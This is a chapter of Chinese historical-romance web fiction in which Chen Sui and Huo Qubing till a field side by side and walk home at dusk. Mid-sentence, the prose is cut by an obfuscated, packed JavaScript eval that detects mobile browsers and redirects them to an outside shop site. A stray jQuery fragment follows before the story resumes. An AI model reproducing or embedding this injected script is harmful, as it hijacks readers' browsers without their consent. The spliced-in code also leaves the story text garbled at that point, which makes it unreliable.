第二天天刚亮陈穗就起来了。洗漱完换好衣服,从帐里出来的时候手里已经拎着铁锹,锹刃在晨光里泛着一层水洗过的亮光——她昨晚专门磨过的。她走到地头的时候,已经有人站在那里了。
霍去病站在新翻的那片地边缘。没穿甲,一身深褐色的单衣,袖口挽到了肘弯以上。他手里也拎着一把铁锹,刃口比她磨得稍粗一些,但看得出来是认真擦过一遍的,锹面上没有锈迹和灰尘。他站在那儿看着她从田埂这头走过来,日光从他背后照过来把他的轮廓镀了一层薄薄的金色。她走到他面前停了一下,看了看他手里的铁锹,又看了看他左臂上那道已经结了痂的旧疤,然后视线重新回到他脸上:“左臂不能使力。你翻一会儿歇一会儿,别硬撑。”
“嗯。”他把铁锹插进土里踩了一脚,翻起了第一锹。土块翻转过来的时候深褐色的内层在晨光里泛着微微潮湿的光泽,土壤里带着露水的气息。他弯腰把那块土敲碎了一下,然后翻第二锹。她没再多说什么,走到他旁边隔了一臂的距离,也把铁锹插进了土里。
两人并肩翻地。一锹接一锹,各自翻各自的排面。偶尔碰到土里卡住的石块或枯根,他铁锹入土的角度会被卡一下,她走过去帮忙踩一脚或者用锹刃帮他撬一下。他不道谢,她也不说不用谢。有时候她手边积了一块硬土坷垃敲不碎,他会走过来用锹背帮她拍碎然后走回自己那一排。日光从东面爬到头顶的时候,两人已经翻完了大约三分之一块地。她把铁锹拄在地上直起腰擦了把汗,侧头看了他一眼——他正在翻最后那半排,左臂的动作比右臂慢一些,但每一锹都踩实了、翻透了,土块敲得足够细碎。她看了一会儿转回头继续翻自己的。
木棍老兵什么时候出现在田埂上的,她没注意。他是端着一碗水来的,把碗放在田埂边上没有出声,然后拄着木棍站在那儿看着两人翻地的背影看了一会儿。他站的地方正好能看到两个人并肩翻地的样子,铁锹一起一落,节奏基本同步,偶尔相邻的那条畦垄上两人同时弯下腰去敲同一块大土坷垃,动作像被同一根线牵着。老兵拄着木棍看了很久,看到最后把自己的嘴角扯了一下,扯完了之后没有喊他们喝水,拄着木棍转身走了。他走的时候脚步比平时轻了一些,木棍落在土面上的声音没有那么重了。
太阳升到正午的时候两人歇了一次。陈穗走到田埂边上端起老兵放的那碗水喝了一口,水已经凉了,但正是干活的人最需要的温度。她喝完靠在田埂边的土坎上坐了一会儿,伸手揉了一下后腰。霍去病走过来在她旁边坐下来,两人隔了大约半臂的距离,没有挨着。他把自己的水囊解下来递给她。她接过去喝了两口又递回去。他接过去的时候手指碰到了她的手。两个人的手都沾着土和汗,粗糙的皮肤互相蹭了一下,停住了。日光从头顶照下来,照着两只沾着干泥和汗渍的手接触的位置。手指没有收回去,他握着水囊的系绳,她握着水囊的底部,两只手之间隔着那层粗麻布,但指尖的位置贴在一起。停了两三息然后他松开手把水囊拿了回去,她也收回了手。
下午继续翻。太阳往西斜的时候两人已经把整片地翻完了。陈穗沿着自己翻过的那一排走了一遍,确认每一锹都翻到了足够的深度,然后回头看了一眼他那边。他的排面跟她的一样深、一样均匀,土块敲得跟她一样细。她在田埂尽头站住了,把铁锹放在脚边,看着被他翻过的那一排。他正走在自己那排的尽头弯腰把最后一小块土敲碎然后直起腰来,转过身朝她这边走。他走到她面前的时候她还没开口,他先说了:“翻完了。”
她低头看了看他的左臂。那里在单衣袖子下面微微隆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920799|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起一层轮廓,是裹了东西的——他自己缠了一层薄布条护着伤口。他大概是一早起来自己缠的,知道翻地的时候左臂会反复用力。她看见了但没有说什么。他把铁锹扛在肩上往营地方向走了两步,又回头看了她一眼。她跟上了,两人隔着大约一步的距离并排走着。田埂两侧是被草帘覆盖的麦田,在暮色里泛着灰褐色的平静光泽,远处的水车还在慢慢转着,吱呀吱呀的声音在傍晚的空气里传得很远。两人的影子被西斜的日光照得极长,平行地铺在地面上,中间隔着大约一步的距离,一路延伸到麦田深处。风从两人背后吹过来推动着他们的影子往前挪动。他忽然开口说了一句话:“你当初说你能让这片地长粮食。”
“现在长满了。”陈穗跟在他旁边继续走,经过那一排排被草帘覆盖的田垄。穗头从草帘边缘探出来擦着她的手臂和手上的茧子,风把整片麦田吹得涌动起来,像一片金黄色的海在暗下来的暮色里缓缓呼吸。两人走在其中一前一后,影子叠在一起又分开又叠在一起,像两棵被风推着靠拢又分开的树。
他走在前面的脚步不停,但他的声音从前面传过来,不高不低的,像落在土面上的一粒麦种:“那明年还翻吗。”她跟在他身后踏过他被鞋底踩实的田埂泥土:“翻。”他又走了一段,声音又传过来了:“后年呢?”她回答他:“也翻。”他在前面走着的脚步停了一下,没有回头,但声音里带着一种非常淡的、几乎不存在的笑意:“一直翻。”她站在他身后,手里还拎着那把铁锹,刃口朝下拖在土面上。麦浪在她身后继续涌动着,她把铁锹提起来扛在肩上,然后往前走了一步,走到跟他并排的位置。他没有看她,她也没有看他。
两人并排走完了最后一段田埂,暮色把整片麦田和两个并排的人影都收进了同一层暗金色的光里。